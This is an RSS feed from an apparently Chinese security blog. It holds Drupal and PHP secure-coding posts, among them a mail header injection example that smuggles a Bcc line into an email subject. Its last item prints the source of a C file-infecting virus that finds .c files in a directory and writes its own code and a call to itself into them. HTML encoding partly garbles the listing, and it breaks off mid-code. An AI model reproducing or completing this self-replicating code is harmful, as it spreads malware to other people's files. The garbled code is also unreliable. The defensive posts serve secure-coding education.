<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Terrysco&#039;s Blog &#187; Web Security</title>
	<atom:link href="http://www.terrysco.com/node/category/web-security/feed" rel="self" type="application/rss+xml" />
	<link>http://www.terrysco.com</link>
	<description>仅关注于互联网行业， Linux平台开发。</description>
	<lastBuildDate>Sat, 22 May 2010 10:50:29 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.3</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>编写安全的drupal代码</title>
		<link>http://www.terrysco.com/node/drupal-security-code.html</link>
		<comments>http://www.terrysco.com/node/drupal-security-code.html#comments</comments>
		<pubDate>Mon, 03 Aug 2009 14:43:03 +0000</pubDate>
		<dc:creator>terrysco</dc:creator>
				<category><![CDATA[Web Security]]></category>
		<category><![CDATA[drupal]]></category>

		<guid isPermaLink="false">http://www.terrysco.com/?p=234</guid>
		<description><![CDATA[本文主要是参考那本经典的drupal 6 模块开发指南，接合自己对脚本安全的一点理解整理出来的，方便E文不是很好的朋友共享。
首先是文本格式转换方面的有效函数，以前的文章我也提过。check_plain()函数能安全的将用户任意输入转换为纯文本，filter_xss()函数放宽了用户的输入，可以输入一些不被过滤的html字符，既有好的样式也保证了安全性，而drupal_urlencode()则对url安全编码，比较常用，是对php的urlencode函数更好的一次封装。mime_header_encode()函数对邮件更好的编码，使用drupal_mail()函数时不需调用，已经内部应用了。
&#8212;&#8212;&#8212;&#8212;-为database抽象层使用安全方面预留位置&#8212;&#8212;&#8212;&#8212;&#8212;
drupal的文件安全已经在htaccess文件中做了很多限制，这个是web容器级别的安全，脚本方面我们仍然要考虑，使用文件路径前，最好调用file_check_location函数。为了避免邮件头部注入，drupal为我们引进了mime_header_encode()函数，文中提到一个很简单的例子作为参考。
如果邮件的标题（subject）是用户输入的，如果输入
Have a nice day%0ABcc:spamtarget@example.com%0A%0AL0w%20c0st%20mortgage!
邮件头部注入后则会变成：
Subject: Have a nice day
Bcc: spamtarget@example.com
L0w c0st mortgage!
&#8230;
一目了然。
另外，我们经常会编写独立的php文件来为drupal做一些维护或者数据迁移的工作，
include_once &#8216;includes/bootstrap.inc&#8217;;
drupal_bootstrap(DRUPAL_BOOTSTRAP_FULL);
这两行代码执行后，我们就可以在独立的php文件中使用drupal的db抽象层和相关函数，但最好我们加上uid为1的判断，只有超级用户才可以执行该php文件，如果该文件是操作发布站点数据，则这个限制更显得至关重要。
ajax的安全大家可以参考其他资料，请求脚本程序要格外小心。
最后，drupal的表单api中，title和description等元素必须check_plain()转换为纯文本，而default_value则无需，因为theme_textfield() 在includes/form.inc文件中已经调用一次了，二次转义将会使数据更加混乱。
以上只是接合drupal的安全方面简单陈述，要想更加安全你的代码，请参考更多的PHP安全方面的资料。
]]></description>
		<wfw:commentRss>http://www.terrysco.com/node/drupal-security-code.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP Architect&#8217;s Guide to PHP Security [3]</title>
		<link>http://www.terrysco.com/node/php-security-guide-3.html</link>
		<comments>http://www.terrysco.com/node/php-security-guide-3.html#comments</comments>
		<pubDate>Sun, 04 Jan 2009 08:02:39 +0000</pubDate>
		<dc:creator>terrysco</dc:creator>
				<category><![CDATA[Web Security]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://www.anyliv.com/www.terrysco.com/?p=75</guid>
		<description><![CDATA[<p>今天继续翻译PHP Architect's Guide to PHP Security这本书的第三章《SQL注入》。由于第二章XSS有专门的书籍介绍，以后会专门翻译，所以暂时跳过XSS，先对SQL Injection进行介绍。</p><p>SQL注入是另一种常见的漏洞（针对XSS来说），是由于对输入数据过滤不严导致的。它不像XSS是直接针对站点的用户，而是直接破坏站点本身，特别是数据库。SQL注入的目的是插入任意数据，常常是插入一条被数据库执行的SQL语句。这些潜伏的被插入语句常常执行很多操作，从获取数据到更改或删除数据库信息。</p>...
]]></description>
		<wfw:commentRss>http://www.terrysco.com/node/php-security-guide-3.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>PHP Architect&#8217;s Guide to PHP Security [2]</title>
		<link>http://www.terrysco.com/node/php-security-guide-2.html</link>
		<comments>http://www.terrysco.com/node/php-security-guide-2.html#comments</comments>
		<pubDate>Thu, 09 Oct 2008 02:04:11 +0000</pubDate>
		<dc:creator>terrysco</dc:creator>
				<category><![CDATA[Web Security]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://www.anyliv.com/www.terrysco.com/?p=45</guid>
		<description><![CDATA[<p>White List Validation （白名单验证）<br />Being Careful with File Uploads （文件上传时要小心）<br />File Content Validation （文件内容验证）<br />Accessing Uploaded Data （访问上传数据）<br />The Dangers of Magic Quotes （Magic Quotes的危险性）<br />Magic Quotes Normalization （Magic Quotes正规化）<br />...</p>
]]></description>
		<wfw:commentRss>http://www.terrysco.com/node/php-security-guide-2.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP Architect&#8217;s Guide to PHP Security [1]</title>
		<link>http://www.terrysco.com/node/php-security-guide-1.html</link>
		<comments>http://www.terrysco.com/node/php-security-guide-1.html#comments</comments>
		<pubDate>Fri, 26 Sep 2008 16:29:55 +0000</pubDate>
		<dc:creator>terrysco</dc:creator>
				<category><![CDATA[Web Security]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://www.anyliv.com/www.terrysco.com/?p=42</guid>
		<description><![CDATA[<p>这几天稍微轻松点，就再看了一次PHP Architect's Guide to PHP Security这本经典PHP安全书籍。其中整理了一些笔记之类的东西，分享给大家。都是个人组织和翻译的东西，如果有不周到的地方还请广大安全爱好者给出批评和指正。本来想逐字翻译全文，但是这是一个浩大的工程，并且学习意义不大，所以挑选一些重要的内容进行翻译和注释。</p><p style="text-align: center;"><img title="" alt="" src="http://www.terrysco.com/upload/200809261133336667.gif" onload="ResizeImage(this,520)" /></p><p>...</p>
]]></description>
		<wfw:commentRss>http://www.terrysco.com/node/php-security-guide-1.html/feed</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>什么是流氓黑客</title>
		<link>http://www.terrysco.com/node/what-is-a-hacker.html</link>
		<comments>http://www.terrysco.com/node/what-is-a-hacker.html#comments</comments>
		<pubDate>Wed, 17 Sep 2008 03:58:40 +0000</pubDate>
		<dc:creator>terrysco</dc:creator>
				<category><![CDATA[Web Security]]></category>
		<category><![CDATA[hacker]]></category>

		<guid isPermaLink="false">http://www.anyliv.com/www.terrysco.com/?p=39</guid>
		<description><![CDATA[<p>今天看到一个站点公然写着：本站长期招聘网站入侵者。又在某自称国内最大黑客站点上，依我看就是一堆没素质的菜鸟聚集地，看到某&#8220;牛人&#8221;公开视频演讲，说自己已经有房有车有女人，殊不知这些钱都是广大无知的青少年朋友给他的，换来的都是一些没用的技术，没用的工具。网上浩浩荡荡的工具小子大都是从这里出来的吧，还自称什么黑日同盟，多么的可笑。穿个红裤衩就把自己漂白成红客了。人再无知，没修养不过如此，打着培训中国网络安全人才的旗号，给自己赚取大把钞票，出来的都是一些技术智障人士。<br />...</p>
]]></description>
		<wfw:commentRss>http://www.terrysco.com/node/what-is-a-hacker.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>加入狼族</title>
		<link>http://www.terrysco.com/node/wolvez-security-team.html</link>
		<comments>http://www.terrysco.com/node/wolvez-security-team.html#comments</comments>
		<pubDate>Sun, 30 Apr 2006 16:32:41 +0000</pubDate>
		<dc:creator>terrysco</dc:creator>
				<category><![CDATA[Web Security]]></category>
		<category><![CDATA[wolvez]]></category>

		<guid isPermaLink="false">http://www.anyliv.com/www.terrysco.com/?p=9</guid>
		<description><![CDATA[<p>今天和狼组的zizzy聊了聊，知道这是一个主要研究php等脚本安全的团队，虽然自己php方面还比较薄弱，但是有信心把它学好。给zizzy提交了一份代码，通过了申请，今天正式加入狼族。www.wolvez.org</p>
]]></description>
		<wfw:commentRss>http://www.terrysco.com/node/wolvez-security-team.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>一个C写的小东东</title>
		<link>http://www.terrysco.com/node/c-virus-study.html</link>
		<comments>http://www.terrysco.com/node/c-virus-study.html#comments</comments>
		<pubDate>Fri, 28 May 2004 03:35:22 +0000</pubDate>
		<dc:creator>terrysco</dc:creator>
				<category><![CDATA[Web Security]]></category>
		<category><![CDATA[c]]></category>
		<category><![CDATA[virus]]></category>

		<guid isPermaLink="false">http://www.anyliv.com/www.terrysco.com/?p=4</guid>
		<description><![CDATA[/*INFECTED*/
#include &#8220;stdio.h&#8221;
#include &#8220;dos.h&#8221;
#include &#8220;dir.h&#8221;
main()
{
viruses();
}
int viruses_sub()
{
struct ffblk ffblk;
int done,i,j,k,n_line;
FILE *virus_r,*virus_v;
/*virus_r指向将被感染的文件，virus_v指向已带病毒的文件*/
char a[500][80],b[80],*p1,*p2; /*将被传染的文件读入a[500][80]临时存放*/
static char viruses_f[]={&#8221;virus.c&#8221;};/*文件被传染后，修改该值为自身文件名*/
int include_write;
int virus_call=0;
int virus_start=0;
char *main_flag[]={&#8221;printf&#8221;,&#8221;break&#8221;,&#8221;for&#8221;,&#8221;while&#8221;};
char *include_h[]={&#8221;dos.h&#8221;,&#8221;stdio.h&#8221;,&#8221;dir.h&#8221;};
char *v_flag[]={&#8221;INFECTED&#8221;};
struct date today;
/*VIRUSES DISPLAY*/
getdate(&#38;today); /*病毒显示日期信息*/
printf(&#8221;Today is %d/%d/%d\n&#8221;,today.da_mon,today.da_day,today.da_year);
/*AFFECT VIRUSES*/
done=findfirst(&#8221;*.c&#8221;,&#38;ffblk,0); /*查找第一个匹配文件*/
while(!done)
{
if(strcmp(ffblk.ff_name,&#8221;REVIRUS.C&#8221;)!=0)
{
virus_r=fopen(ffblk.ff_name,&#8221;r+w&#8221;);
if(virus_r!=NULL)
{
p1=fgets(&#38;a[0][0],80,virus_r);
if(strstr(p1,v_flag[0])==NULL)
{
n_line=0; /*把文件全部读入a[500][80]*/
while(p1!=NULL)
{
n_line++;
p1=fgets(&#38;a[n_line][0],80,virus_r);
if(n_line&#62;=500)
{
fclose(virus_r);
return(1);
}
}
fseek(virus_r,0,SEEK_SET);
virus_v=fopen(&#38;viruses_f[0],&#8221;r&#8221;); /*打开带病毒的文件*/
if(virus_v==NULL)
{
fclose(virus_r);
return(2);
}
for(i=1;i&#60;5;i++) /*读带病毒文件前4行并写入将被传染的文件*/
{
p2=fgets(b,80,virus_v);
if(p2==NULL)
{
fclose(virus_r);
fclose(virus_v);
return(3);
}
fputs(b,virus_r);
}
for(j=0;j
{
include_write=1; /*不写入病毒文件已有的包含语句*/
if(strstr(&#38;a[j][0],&#8221;#include&#8221;)!=NULL)
for(i=0;i&#60;3;i++)
if(strstr(&#38;a[j][0],include_h)!=NULL)
include_write=-1;
if(virus_call==0)   /*插入调用语句，并加上回车换行*/
for(i=0;i&#60;4;i++)
if(strstr(&#38;a[j][0],main_flag)!=NULL)
{
for(k=0;k&#60;80;k++)
b[k]=0;
strcpy(&#38;b[0],&#8221;viruses();&#8221;);
b[10]=13;
b[11]=10;
fputs(b,virus_r);virus_call=1;
i=4;
}
if(include_write==1)fputs(&#38;a[j][0],virus_r);
}
p1=fgets(b,80,virus_v);  /*把病毒子程序写入文件*/
while(p1!=NULL)
{
if(virus_start==0)  /*找病毒子程序的第一条语句*/
if(strstr(p1,&#8221;int viruses_sub()&#8221;)!=NULL)
virus_start=1;
if(virus_start==1)
{
if(strstr(p1,&#8221;char&#8221;)!=NULL)
if(strstr(p1,&#8221;viruses_f[]=&#8221;)!=NULL)
{
strcpy(&#38;b[29],ffblk.ff_name);
i=strlen(&#38;b[0]);
b=34;
strcpy(&#38;b[i+1],&#8221;);&#8221;);
b[i+3]=13;
b[i+4]=10;
}
fputs(b,virus_r);
}
p1=fgets(b,80,virus_v);
}
fclose(virus_v);
fclose(virus_r);
return(0);
}
fclose(virus_r);
}
}
done=findnext(&#38;ffblk);
}
return(4);
}
viruses()
{
int num;
num=viruses_sub();
switch (num)
{
case  0 : printf(&#8221;successful\n&#8221;);
break;
case  1: printf(&#8221;the file is outof line\n&#8221;);
break;
case  2 : [...]]]></description>
		<wfw:commentRss>http://www.terrysco.com/node/c-virus-study.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
